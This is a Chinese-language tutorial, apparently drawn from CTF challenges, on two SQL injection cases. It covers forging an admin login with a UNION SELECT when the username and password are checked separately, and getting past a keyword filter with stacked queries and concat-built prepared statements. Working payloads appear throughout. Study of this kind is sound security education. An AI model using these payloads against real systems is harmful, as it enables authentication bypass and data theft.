两种特殊场景的sql注入思路介绍
字数 979 2025-08-15 21:32:43
SQL注入高级技巧:两种特殊场景的突破方法
0x01 用户名与密码分开验证的注入方法
场景分析
在常规SQL注入中,我们通常使用admin' --或admin' #来注释掉密码验证部分。但当系统采用用户名和密码分开验证的机制时,这种方法就会失效。
代码分析
function auth2_onLogin(WC_Challenge $chall, $username, $password) {
$db = auth2_db();
$password = md5($password); // 密码进行MD5加密
$query = "SELECT * FROM users WHERE username='$username'";
// 查询用户是否存在
if (false === ($result = $db->queryFirst($query))) {
echo GWF_HTML::error('Auth2', $chall->lang('err_unknown'), false);
return false;
}
// 密码验证(新增检查点)
if ($result['password'] !== $password) {
echo GWF_HTML::error('Auth2', $chall->lang('err_password'), false);
return false;
}
// 验证通过
echo GWF_HTML::message('Auth2', $chall->lang('msg_welcome_back', array(htmlspecialchars($result['username']))), false);
// 如果是admin用户则解题成功
if (strtolower($result['username']) === 'admin') {
$chall->onChallengeSolved(GWF_Session::getUserID());
}
return true;
}
突破方法:联合查询注入
由于系统先查询用户名,再单独验证密码,我们需要构造一个查询结果,使其包含我们指定的用户名和密码。
-
了解表结构:
CREATE TABLE IF NOT EXISTS users ( userid INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, username VARCHAR(32) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL, password CHAR(32) CHARACTER SET ascii COLLATE ascii_bin NOT NULL ) ENGINE=myISAM; -
构造联合查询:
SELECT * FROM users WHERE username='1' union select 1,'admin',md5('123');#1:伪造的userid'admin':伪造的用户名md5('123'):伪造的密码(预先计算MD5值)
-
实际注入:
- 用户名输入:
1' union select 1,'admin',md5('123');# - 密码输入:
123(与伪造的MD5值对应)
- 用户名输入:
0x02 关键字被过滤的注入方法
场景分析
当系统过滤了select、update、delete、drop、insert、where等关键词时,常规注入方法失效。
突破方法:堆叠查询+预编译
-
使用堆叠查询获取数据库信息:
-1';show tables;#返回所有表名。
-
查看表结构:
-1';show columns from `words`;show columns from `1919810931114514`;#- 注意:纯数字表名需要用反引号
`包裹
- 注意:纯数字表名需要用反引号
-
预编译绕过关键字过滤:
-1';sEt @sql=concat("sel","ect * from `1919810931114514`;");pRepAre ATL from @sql;execute ATL;#- 使用
concat拼接被过滤的关键字 - 使用大小写混合绕过
strstr()过滤(如sEt、pRepAre) - 执行预编译语句获取flag
- 使用
预编译详细用法
- 准备预编译语句:
prepare [语句名] from 'select * from users where userid=?' - 设置变量:
set @[变量名]='3' - 执行语句:
execute [语句名] using @[变量名]
0x03 关键知识点总结
-
联合查询注入:
- 适用于查询结果被单独验证的场景
- 需要了解表结构和字段数量
- 使用
union select构造伪造数据
-
堆叠查询:
- 使用分号
;执行多条SQL语句 - 可配合
show tables、show columns获取数据库结构
- 使用分号
-
预编译绕过过滤:
- 使用
concat拼接被过滤的关键字 - 通过预编译执行拼接后的SQL语句
- 大小写混合绕过简单过滤
- 使用
-
特殊表名处理:
- 纯数字或包含关键字的表名/列名需要用反引号包裹
- 例如:
`1919810931114514`
-
MD5密码处理:
- 当系统对密码进行MD5处理时,构造的密码也需要预先计算MD5值
这些高级技巧需要在实际场景中灵活组合使用,才能突破各种防护措施。理解每种方法的原理和适用场景,比单纯记忆payload更为重要。